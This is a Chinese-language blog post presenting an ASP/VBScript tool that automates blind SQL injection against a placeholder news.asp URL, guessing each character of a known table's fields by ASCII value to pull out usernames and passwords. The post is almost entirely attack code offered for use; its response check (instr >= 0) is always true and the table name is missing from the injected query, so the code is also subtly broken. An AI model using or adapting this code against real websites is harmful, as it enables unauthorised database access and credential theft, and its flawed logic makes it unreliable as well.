您的位置:首页 > 其它

通用Access字段数据获取模块

2010-07-30 20:05 281 查看
闲来无事,玩了玩Sql Injection,数据表名及字段名猜测就不贴了,贴一下直接获得已知表名字段名的数据的过程!

getdata.asp

<!--#include file="gbutf.asp"-->
<%
Server.ScriptTimeOut = 6000000

function getuid(n,col,getid)
dim rv
rv = "无"
for i = 0 to 200 '取ASCII码范围,负数(汉字)的没做处理;
dim urlpath 'http://www.xxxxxxxxx.com/news.asp?id=1为要注入的目标地址,为您已经猜测到的表名,where id=为该表的字段id,如果没有,可以更改语句如order by ???

urlpath = "http://www.xxxxxxxxx.com/news.asp?id=1%20or%20(select%20top%201%20asc(mid("&col&","&n&",1))%20from%20
%20where%20id="&getid&")="&i&""

With xmlhttp
.Open "GET",urlpath,False
.Send
End With

If xmlhttp.Status = 200 Then
dim result
result = xmlhttp.responseBody
result = BytesToBstr(result,"GB2312")
If instr(result,"错误信息") >= 0 then '这里的错误信息设定为实际页面上的错误信息
rv = chr(i)
Exit For
end if
End if
next
If rv<>"无" then
Response.write rv
If n<15 then '假设字段长度为15,如果实际更长就改大,否则就缩小,加快速度;
getuid int(n+1),col,getid
end if
end if
end function

dim xmlhttp
Set xmlhttp = Server.CreateObject("MSXML2.XMLHTTP")

'getuid函数参数意义
'参数1:从第一位开始取;
'参数2:要获取数据的字段名;
'参数3:指定的数据编号,如id=1的记录

getuid 1,"username",1
response.write " : "
getuid 1,"password",1

Set xmlhttp = Nothing
%>

gbutf.asp

<%
Function BytesToBstr(body,Cset)
dim objstream
set objstream = Server.CreateObject("adodb.stream")
objstream.Type = 1
objstream.Mode =3
objstream.Open
objstream.Write body
objstream.Position = 0
objstream.Type = 2
objstream.Charset = Cset
BytesToBstr = objstream.ReadText
objstream.Close
set objstream = nothing
End Function
%>
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: